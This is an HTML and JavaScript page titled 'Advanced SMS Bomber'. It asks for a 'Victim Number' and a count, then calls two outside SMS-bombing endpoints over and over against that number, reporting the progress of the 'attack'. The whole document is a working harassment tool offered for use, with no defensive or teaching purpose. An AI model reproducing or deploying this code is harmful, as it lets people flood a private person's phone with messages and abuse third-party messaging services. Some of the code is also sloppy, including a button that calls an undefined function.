<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Advanced SMS Bomber</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background: black;
            color: #00ff00;
            font-family: 'Arial', sans-serif;
            height: 100vh;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            overflow: hidden;
            animation: shrinkScreen 2s ease-in-out forwards;
            border: 2px solid #00ff00;
            box-sizing: border-box;
        }

        .container {
            width: 90%;
            max-width: 400px;
            margin-top: 20px;
            text-align: center;
            background: rgba(0, 255, 0, 0.1);
            padding: 20px;
            border-radius: 15px;
            box-shadow: 0 0 20px #00ff00;
            animation: fadeIn 1.5s ease-in-out forwards;
        }

        h1 {
            font-size: 1.8rem;
            margin-bottom: 15px;
            color: #00ff00;
            text-shadow: 0 0 10px #00ff00;
        }

        .input-container {
            margin-bottom: 20px;
            position: relative;
        }

        input {
            width: 100%;
            padding: 12px;
            font-size: 1em;
            border: 2px solid #00ff00;
            border-radius: 8px;
            background: black;
            color: #00ff00;
            text-align: center;
            transition: transform 0.3s, box-shadow 0.3s;
        }

        input:focus {
            outline: none;
            transform: scale(1.05);
            box-shadow: 0 0 10px #00ff00;
        }

        button {
            width: 100%;
            padding: 12px;
            font-size: 1.2em;
            margin-bottom: 10px;
            border: none;
            border-radius: 8px;
            background: #00ff00;
            color: black;
            cursor: pointer;
            transition: transform 0.3s, background 0.3s;
        }

        button:hover {
            background: black;
            color: #00ff00;
            border: 2px solid #00ff00;
            transform: scale(1.05);
        }

        .footer {
            margin-top: 15px;
            text-align: center;
            font-size: 1rem;
            margin: 10;
            padding: 10;
        }

        .footer a {
            color: #00ff00;
            text-decoration: none;
        }

        .footer a:hover {
            text-decoration: underline;
        }

@keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(-20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

@keyframes shrinkScreen {
            from {
                transform: scale(1);
            }
            to {
                transform: scale(0.95);
            }
        }

        .snowflake {
            position: absolute;
            top: -10px;
            animation: fall 10s linear infinite, spin 5s linear infinite;
            color: #00ff00;
            opacity: 0.8;
        }

@keyframes fall {
            to {
                transform: translateY(100vh);
            }
        }

@keyframes spin {
            to {
                transform: rotate(360deg);
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>LMNxHASAN SMS BOMBER</h1>
        <div class="input-container">
            <input type="text" id="number" placeholder="Enter Victim Number" required>
        </div>
        <div class="input-container">
            <input type="number" id="amount" placeholder="Enter Boombing Amount" required>
        </div>
        <button onclick="startBomber()">Start Attack</button>
        <button onclick="refreshPage()">Refresh Page</button>
        <button onclick="goBack()">Back Main</button>
        <div id="status"></div>
    </div>

    <div class="footer">
        Powered by Mr. HASAN | <a href="https://t.me/+rDaIIZ6Tr4IyNzZl" target="_blank">Join Telegram</a>
    </div>

    <script>
        const createSnowflake = () => {
            const snowflake = document.createElement('div');
            snowflake.classList.add('snowflake');
            snowflake.textContent = '☠️';
            snowflake.style.left = Math.random() * window.innerWidth + 'px';
            snowflake.style.fontSize = Math.random() * 10 + 10 + 'px';
            document.body.appendChild(snowflake);

            setTimeout(() => {
                snowflake.remove();
            }, 1000);
        };

        setInterval(createSnowflake, 200);
        const apis = [
            async function api1(phone) {
                const response = await fetch(`https://bdtools.top/smsbomapi.php?uid=6725a46fdace3tmx&number=${phone}`);
                return response.ok;
            },
            async function api2(phone) {
                const response = await fetch(`https://sasabbir.xyz/sms_bomber.php?mobile=${phone}`);
                return response.ok;
            }];

        async function startBomber() {
            const number = document.getElementById('number').value;
            const amount = parseInt(document.getElementById('amount').value);
            const statusDiv = document.getElementById('status');
            if (!number || isNaN(amount) || amount <= 0) {
                statusDiv.innerHTML = "<p style='color:red;'>Please provide valid input.</p>";
                return;
            }

            statusDiv.innerHTML = "<p style='color:00ff00;'>Attacking...Please Wait</p>";
            
            let success = 0, failure = 0;

            for (let i = 0; i < amount; i++) {
                const api = apis[i % apis.length];
                try {
                    const result = await api(number);
                    if (result) success++;
                    else failure++;
                } catch {
                    failure++;
                }
                statusDiv.innerHTML = `<p style="color:00ff00;">SUCCESS : ${success}  |  FAILED : ${failure}</p>`;
            }
            
            statusDiv.innerHTML += "<p style='color:00ff00;'>ATTACK COMPLETED ✅</p>";
        }

        function refreshPage() {
            location.reload();
        }

        function goToPage() {
            window.location.href = "http://lmnxhasan.is-great.org";
        }
    </script>
</body>
</html>